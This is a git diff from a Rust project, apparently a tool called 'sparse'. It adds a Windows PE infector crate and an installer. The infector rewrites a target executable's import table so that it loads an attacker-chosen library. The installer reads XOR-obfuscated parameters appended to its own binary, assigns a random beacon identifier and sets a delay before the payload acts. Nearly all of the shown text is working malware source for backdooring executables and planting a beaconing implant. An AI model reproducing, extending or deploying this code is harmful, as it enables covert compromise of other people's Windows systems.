|
||||||
|
&mut *(headers_bytes
|
||||||
|
.as_mut_ptr()
|
||||||
|
.offset(header.coff_header_offset as isize) as *mut _)
|
||||||
|
};
|
||||||
|
|
||||||
|
let optional_header: &mut PEHeader = unsafe {
|
||||||
|
let offset =
|
||||||
|
header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
|
||||||
|
&mut *(headers_bytes.as_mut_ptr().offset(offset) as *mut _)
|
||||||
|
};
|
||||||
|
|
||||||
|
let section_headers: &mut [SectionHeader] = unsafe {
|
||||||
|
let offset = header.coff_header_offset as isize
|
||||||
|
+ (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;
|
||||||
|
|
||||||
|
let ptr = headers_bytes.as_mut_ptr().offset(offset) as *mut _;
|
||||||
|
std::slice::from_raw_parts_mut(ptr, coff_header.num_sections as usize)
|
||||||
|
};
|
||||||
|
|
||||||
|
let import_descriptors =
|
||||||
|
unsafe { std::slice::from_raw_parts(import_descriptors, import_descriptor_count as usize) }
|
||||||
|
.to_vec();
|
||||||
|
|
||||||
|
let mut import_section = Section {
|
||||||
|
name: *b".import\0",
|
||||||
|
section_header_idx: section_headers.len() - 1,
|
||||||
|
data: vec![],
|
||||||
|
};
|
||||||
|
|
||||||
|
import_section.data.extend(
|
||||||
|
unsafe {
|
||||||
|
std::slice::from_raw_parts(
|
||||||
|
import_descriptors.as_ptr() as *const u8,
|
||||||
|
std::mem::size_of::<ImportDescriptor>() * import_descriptors.len(),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
.to_vec(),
|
||||||
|
);
|
||||||
|
|
||||||
|
let new_import_directory_offset = import_section.data.len();
|
||||||
|
import_section
|
||||||
|
.data
|
||||||
|
.extend(vec![0; 2 * std::mem::size_of::<ImportDescriptor>()]);
|
||||||
|
|
||||||
|
let new_int_offset = import_section.data.len();
|
||||||
|
import_section
|
||||||
|
.data
|
||||||
|
.extend(vec![0; 2 * std::mem::size_of::<ImageThunkData>()]);
|
||||||
|
|
||||||
|
let new_iat_offset = import_section.data.len();
|
||||||
|
import_section
|
||||||
|
.data
|
||||||
|
.extend(vec![0; 2 * std::mem::size_of::<ImageThunkData>()]);
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
let iat = import_section
|
||||||
|
.data
|
||||||
|
.as_mut_ptr()
|
||||||
|
.offset(new_iat_offset as isize);
|
||||||
|
|
||||||
|
*iat = 0x02;
|
||||||
|
*(iat.offset(7)) = 0x80;
|
||||||
|
};
|
||||||
|
|
||||||
|
let file_name = target_library_path
|
||||||
|
.as_ref()
|
||||||
|
.file_name()
|
||||||
|
.expect("library path must not be a root directory");
|
||||||
|
|
||||||
|
let lib_name_offset = import_section.data.len();
|
||||||
|
import_section.data.extend(file_name.as_encoded_bytes());
|
||||||
|
import_section.data.push(0x00);
|
||||||
|
|
||||||
|
let lib_func_name_offset = import_section.data.len();
|
||||||
|
import_section.data.push(0x02);
|
||||||
|
import_section.data.push(0x00);
|
||||||
|
import_section.data.extend(b"compute_hash");
|
||||||
|
|
||||||
|
import_section
|
||||||
|
.data
|
||||||
|
.extend(&vec![0u8; 256 - (file_name.len() + 15)]);
|
||||||
|
|
||||||
|
import_section.data.extend(&vec![
|
||||||
|
0u8;
|
||||||
|
new_section_size_aligned as usize
|
||||||
|
- import_section.data.len()
|
||||||
|
]);
|
||||||
|
|
||||||
|
let new_import_directory_ptr = unsafe {
|
||||||
|
&mut *(import_section
|
||||||
|
.data
|
||||||
|
.as_mut_ptr()
|
||||||
|
.offset(new_import_directory_offset as isize) as *mut ImportDescriptor)
|
||||||
|
};
|
||||||
|
|
||||||
|
let import_section_header = §ion_headers[section_headers.len() - 1];
|
||||||
|
|
||||||
|
import_section.data[new_int_offset..new_int_offset + 8].copy_from_slice(&u64::to_le_bytes(
|
||||||
|
(import_section_header.virtual_address + lib_func_name_offset as u32) as u64,
|
||||||
|
));
|
||||||
|
|
||||||
|
new_import_directory_ptr.ilt_rva =
|
||||||
|
import_section_header.virtual_address + new_int_offset as u32;
|
||||||
|
new_import_directory_ptr.first_thunk =
|
||||||
|
import_section_header.virtual_address + new_iat_offset as u32;
|
||||||
|
new_import_directory_ptr.name = import_section_header.virtual_address + lib_name_offset as u32;
|
||||||
|
|
||||||
|
optional_header.import_table.virtual_address = import_section_header.virtual_address;
|
||||||
|
|
||||||
|
sections.push(import_section);
|
||||||
|
|
||||||
|
// rebuild the PE
|
||||||
|
|
||||||
|
let mut target = std::fs::OpenOptions::new()
|
||||||
|
.write(true)
|
||||||
|
.truncate(true)
|
||||||
|
.create(true)
|
||||||
|
.open("test/target.exe")?;
|
||||||
|
|
||||||
|
target.write_all(&headers_bytes)?;
|
||||||
|
|
||||||
|
let mut curr_ptr = headers_bytes.len();
|
||||||
|
|
||||||
|
for section in §ions {
|
||||||
|
let header = section_headers[section.section_header_idx];
|
||||||
|
|
||||||
|
println!("{:?}", std::str::from_utf8(&header.name));
|
||||||
|
dbgX!(header.raw_data_ptr, curr_ptr);
|
||||||
|
let padding_needed = header.raw_data_ptr as usize - curr_ptr;
|
||||||
|
|
||||||
|
target.write_all(&vec![0; padding_needed])?;
|
||||||
|
curr_ptr = header.raw_data_ptr as usize;
|
||||||
|
|
||||||
|
target.write_all(§ion.data)?;
|
||||||
|
curr_ptr += section.data.len();
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn rva_to_offset(section_headers: &[SectionHeader], rva: u32) -> u32 {
|
||||||
|
section_headers
|
||||||
|
.iter()
|
||||||
|
.find_map(|sh| {
|
||||||
|
Some(rva - sh.virtual_address + sh.raw_data_ptr).filter(|_| {
|
||||||
|
(sh.virtual_address..(sh.virtual_address + sh.virtual_size)).contains(&rva)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
.unwrap_or(rva)
|
||||||
}
|
}
|
||||||
|
|||||||
123
sparse-windows-infector/src/pe_types.rs
Normal file
123
sparse-windows-infector/src/pe_types.rs
Normal file
@ -0,0 +1,123 @@
|
|||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy, Debug)]
|
||||||
|
pub struct DOSHeader {
|
||||||
|
pub header: [u8; 2],
|
||||||
|
pub e_cblp: u16,
|
||||||
|
pub e_cp: u16,
|
||||||
|
pub e_crlc: u16,
|
||||||
|
pub e_cparhdr: u16,
|
||||||
|
pub e_minalloc: u16,
|
||||||
|
pub e_maxalloc: u16,
|
||||||
|
pub e_ss: u16,
|
||||||
|
pub e_sp: u16,
|
||||||
|
pub e_csum: u16,
|
||||||
|
pub e_ip: u16,
|
||||||
|
pub e_cs: u16,
|
||||||
|
pub e_lfarlc: u16,
|
||||||
|
pub e_ovno: u16,
|
||||||
|
pub res: [u16; 4],
|
||||||
|
pub e_oemid: u16,
|
||||||
|
pub e_oeminfo: u16,
|
||||||
|
pub res2: [u16; 10],
|
||||||
|
pub coff_header_offset: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy, Debug)]
|
||||||
|
pub struct COFFHeader {
|
||||||
|
pub magic: [u8; 4],
|
||||||
|
pub machine_type: u16,
|
||||||
|
pub num_sections: u16,
|
||||||
|
pub timestamp: u32,
|
||||||
|
pub symbtable: u32,
|
||||||
|
pub num_symbols: u32,
|
||||||
|
pub size_of_optional_header: u16,
|
||||||
|
pub characteristics: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy, Debug)]
|
||||||
|
pub struct PEDataDirectoryEntry {
|
||||||
|
pub virtual_address: u32,
|
||||||
|
pub size: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Copy, Debug)]
|
||||||
|
pub struct PEHeader {
|
||||||
|
pub magic: u16,
|
||||||
|
pub maj_link_vers: u8,
|
||||||
|
pub min_link_vers: u8,
|
||||||
|
pub code_size: u32,
|
||||||
|
pub init_data_size: u32,
|
||||||
|
pub entry_point: u32,
|
||||||
|
pub base_of_code: u32,
|
||||||
|
pub image_base: u64,
|
||||||
|
pub section_align: u32,
|
||||||
|
pub file_align: u32,
|
||||||
|
pub maj_os_vers: u16,
|
||||||
|
pub min_os_vers: u16,
|
||||||
|
pub maj_img_vers: u16,
|
||||||
|
pub min_img_vers: u16,
|
||||||
|
pub maj_subsys_vers: u16,
|
||||||
|
pub min_subsys_vers: u16,
|
||||||
|
pub win32_vers: u32,
|
||||||
|
pub image_size: u32,
|
||||||
|
pub header_size: u32,
|
||||||
|
pub checksum: u32,
|
||||||
|
pub subsys: u16,
|
||||||
|
pub dllcharecteristics: u16,
|
||||||
|
pub stack_reserve_size: u64,
|
||||||
|
pub stack_commit_size: u64,
|
||||||
|
pub heap_reserve_size: u64,
|
||||||
|
pub heap_commit_size: u64,
|
||||||
|
pub loader_flags: u32,
|
||||||
|
pub rva_num: u32,
|
||||||
|
pub export_table: PEDataDirectoryEntry,
|
||||||
|
pub import_table: PEDataDirectoryEntry,
|
||||||
|
pub resource_table: PEDataDirectoryEntry,
|
||||||
|
pub exception_table: PEDataDirectoryEntry,
|
||||||
|
pub certificate_table: PEDataDirectoryEntry,
|
||||||
|
pub base_relro_table: PEDataDirectoryEntry,
|
||||||
|
pub debug_table: PEDataDirectoryEntry,
|
||||||
|
pub architecture_table: PEDataDirectoryEntry,
|
||||||
|
pub global_ptr_table: PEDataDirectoryEntry,
|
||||||
|
pub tls_table: PEDataDirectoryEntry,
|
||||||
|
pub config_table: PEDataDirectoryEntry,
|
||||||
|
pub bound_table: PEDataDirectoryEntry,
|
||||||
|
pub iat_table: PEDataDirectoryEntry,
|
||||||
|
pub delay_import_table: PEDataDirectoryEntry,
|
||||||
|
pub clr_table: PEDataDirectoryEntry,
|
||||||
|
pub reserved_table: PEDataDirectoryEntry,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
pub struct SectionHeader {
|
||||||
|
pub name: [u8; 8],
|
||||||
|
pub virtual_size: u32,
|
||||||
|
pub virtual_address: u32,
|
||||||
|
pub raw_data_size: u32,
|
||||||
|
pub raw_data_ptr: u32,
|
||||||
|
pub relocations_ptr: u32,
|
||||||
|
pub line_numbers_ptr: u32,
|
||||||
|
pub num_relocations: u16,
|
||||||
|
pub num_line_nums: u16,
|
||||||
|
pub characteristics: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
pub struct ImportDescriptor {
|
||||||
|
pub ilt_rva: u32,
|
||||||
|
pub time_date_stamp: u32,
|
||||||
|
pub forwarder_chain: u32,
|
||||||
|
pub name: u32,
|
||||||
|
pub first_thunk: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Copy, Clone, Debug)]
|
||||||
|
pub struct ImageThunkData {
|
||||||
|
pub ordinal: u64,
|
||||||
|
}
|
||||||
@ -4,3 +4,8 @@ edition = "2024"
|
|||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
hex = "0.4.3"
|
||||||
|
rand = "0.9.0"
|
||||||
|
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||||
|
sparse-windows-infector = { version = "2.0.0", path = "../sparse-windows-infector" }
|
||||||
|
structopt = "0.3.26"
|
||||||
|
|||||||
@ -1,3 +1,76 @@
|
|||||||
fn main() {
|
use std::{
|
||||||
println!("Hello");
|
fs::OpenOptions,
|
||||||
|
io::{prelude::*, Error, SeekFrom},
|
||||||
|
path::PathBuf,
|
||||||
|
};
|
||||||
|
|
||||||
|
use rand::{rngs::OsRng, TryRngCore};
|
||||||
|
use structopt::StructOpt;
|
||||||
|
|
||||||
|
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||||
|
use sparse_windows_infector::infect_pe_binary;
|
||||||
|
|
||||||
|
#[derive(StructOpt, Debug)]
|
||||||
|
#[structopt(name = "sparse-installer")]
|
||||||
|
struct Options {
|
||||||
|
/// Path to binary to infect
|
||||||
|
#[structopt(short, long)]
|
||||||
|
binary: PathBuf,
|
||||||
|
|
||||||
|
/// Path for where to store the library that sparse uses;
|
||||||
|
/// must be somewhere in the library search path (e.g., /lib/x86_64-linux-gnu)
|
||||||
|
#[structopt(short, long)]
|
||||||
|
library_path: PathBuf,
|
||||||
|
|
||||||
|
/// How long to randomly wait (minimum) after being loaded before causing tomfoolery
|
||||||
|
#[structopt(long, default_value = "0")]
|
||||||
|
delay_seconds_minimum: u8,
|
||||||
|
|
||||||
|
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
|
||||||
|
#[structopt(long, default_value = "0")]
|
||||||
|
delay_seconds_maximum: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn main() -> Result<(), Error> {
|
||||||
|
let opts = Options::from_args();
|
||||||
|
|
||||||
|
if opts.delay_seconds_minimum > opts.delay_seconds_maximum {
|
||||||
|
eprintln!("Delay seconds minimum should be larger than delay seconds maximum!");
|
||||||
|
panic!();
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut installer_file = OpenOptions::new()
|
||||||
|
.read(true)
|
||||||
|
.open(std::env::current_exe()?)?;
|
||||||
|
|
||||||
|
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||||
|
|
||||||
|
installer_file.seek(SeekFrom::End(-parameters_size))?;
|
||||||
|
|
||||||
|
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||||
|
installer_file.read_to_end(&mut parameters_buffer)?;
|
||||||
|
|
||||||
|
for b in parameters_buffer.iter_mut() {
|
||||||
|
*b = *b ^ (XOR_KEY as u8);
|
||||||
|
}
|
||||||
|
|
||||||
|
let parameters: &mut Parameters =
|
||||||
|
unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) };
|
||||||
|
|
||||||
|
let mut identifier = [0u8; 32];
|
||||||
|
OsRng
|
||||||
|
.try_fill_bytes(&mut identifier)
|
||||||
|
.expect("Could not generate beacon identifier");
|
||||||
|
|
||||||
|
let hex_ident = hex::encode(&identifier);
|
||||||
|
parameters
|
||||||
|
.beacon_identifier
|
||||||
|
.copy_from_slice(&hex_ident.as_bytes());
|
||||||
|
|
||||||
|
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||||
|
parameters.delay_seconds_max = opts.delay_seconds_maximum;
|
||||||
|
|
||||||
|
infect_pe_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user